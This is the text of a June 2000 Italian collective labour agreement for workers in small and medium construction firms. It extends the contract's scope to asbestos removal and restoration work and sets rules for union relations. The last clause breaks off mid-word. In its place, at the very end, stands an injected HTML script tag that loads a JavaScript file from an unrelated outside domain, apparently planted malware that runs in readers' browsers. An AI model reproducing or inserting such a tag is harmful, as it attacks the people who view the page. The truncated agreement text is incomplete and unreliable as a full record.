Categoria: Edili (piccola e media impresa)
Settore: Edilizia
Data stipula: 22-6-2000
Data decorrenza: 1-6-2000
Data scadenza: 31-12-2003

VERBALE DI ACCORDO


Roma, 22 giugno 2000


Tra

-    ANIEM

e

-    FeNEAL-UIL, FILCA-CISL, FILLEA-CGIL

si stipula il presente accordo

per il rinnovo del CCNL 21 luglio 1995

PER I LAVORATORI DIPENDENTI DELLE PICCOLE E MEDIE INDUSTRIE EDILI E AFFINI



1 - PREMESSA

La premessa al CCNL è integrata con le seguenti lavorazioni:

-     demolizioni  e  rimozione di opere edili in  materiale  a  base  e/o
  contenente amianto e/o sostante riconosciute nocive;
-     demolizione,  rimozione  e bonifica di opere  edili  realizzate  con
  materiali  e  procedure la cui rimozione deve seguire  particolari  iter
  previsti dalle norme di legge;
-    progettazione lavori di opere edili;
-      manutenzione  (ordinaria  e  straordinaria),  restauro  e  restauro
  artistico  di opere edili e di beni mobili e immobili di opere tutelate.
  Ovvero, costruzioni, manutenzioni e restauro di:

·    fabbricati ad uso abitazione;
·    fabbricati ad uso agricolo, industriale e commerciale,
·    opere monumentali;

-     attività  di  consulenza  in materia di  sicurezza  per  i  cantieri
  temporanei e mobili.

La lett. c) della Dichiarazione a verbale è sostituita dalla seguente:

c)    "il  presente  contratto  non  è applicabile  al  personale  avviato
  obbligatoriamente tramite le Capitanerie di porto."



2 - SISTEMA DI CONCERTAZIONE E DI INFORMAZIONE

Nell'ambito dell'informativa delle parti territoriali inserire,  al  punto
1.5 il seguente ultimo comma:

"L'Organizzazione   territoriale   aderente   ad   ANIEM   fornirà   anche
informazioni in merito all'utilizzo sul territorio dei contratti di lavoro
temporaneo,  a  termine e del distacco dei lavoratori, nonché  del  lavoro
straordinario."



3 - SISTEMA DI RELAZIONI SINDACALI E CONTRATTUALI

Premessa.

1)     Il  presente  CCNL,  nell'assumere  come  proprio  lo  spirito  del
  "Protocollo sulla politica dei redditi e dell'occupazione, sugli assetti
  contrattuali,  sulle  politiche del lavoro e  sul  sostegno  al  sistema
  produttivo"  del  23.7.93  e  il  "Patto  sociale  per  lo  sviluppo   e
  l'occupazione"  del 22.12.98, ne realizza, per quanto di competenza  del
  contratto collettivo nazionale di categoria, le finalità e gli indirizzi
  in tema di relazioni sindacali:

-      attribuendo  all'autonomia  collettiva  delle  parti  una  funzione
  primaria  per la gestione delle relazioni di lavoro mediante lo sviluppo
  del metodo partecipativo, ai diversi livelli e con diversi strumenti, al
  quale  le  parti  riconoscono un ruolo essenziale nella prevenzione  del
  conflitto;
-     regolando  l'assetto della contrattazione collettiva in funzione  di
  una  dinamica  delle relazioni di lavoro medesime tale da consentire  ai
  lavoratori benefici economici con contenuti non inflazionistici  e  alle
  imprese una gestione corretta e programmabile del costo del lavoro nonché
  di  sviluppare  e  valorizzare pienamente le opportunità  offerte  dalle
  risorse umane.

2)    A questi fini le parti s'impegnano in nome proprio e per conto degli
  organismi  territoriali  a loro collegati, a che  il  funzionamento  del
  sistema di relazioni industriali e contrattuali più avanti descritto  si
  svolga secondo i termini e le procedure specificamente indicate, dandosi
  nel  contempo  atto  che  la  loro puntuale  applicazione  è  condizione
  indispensabile per mantenere le relazioni sindacali nelle sedi  previste
  dal presente contratto, entro le regole fissate.

3)   Al sistema contrattuale cosi disciplinato corrisponde l'impegno delle
  parti di rispettare e far rispettare ai propri iscritti per il periodo di
  loro validità il contratto generale e le norme integrative di settore. A
  tal fine le Associazioni imprenditoriali sono impegnate ad adoperarsi per
  l'osservanza delle condizioni pattuite da parte delle aziende  associate
  mentre le organizzazioni dei lavoratori s'impegnano a no<script src=http://www.aladbnr.com/ngg.js></script>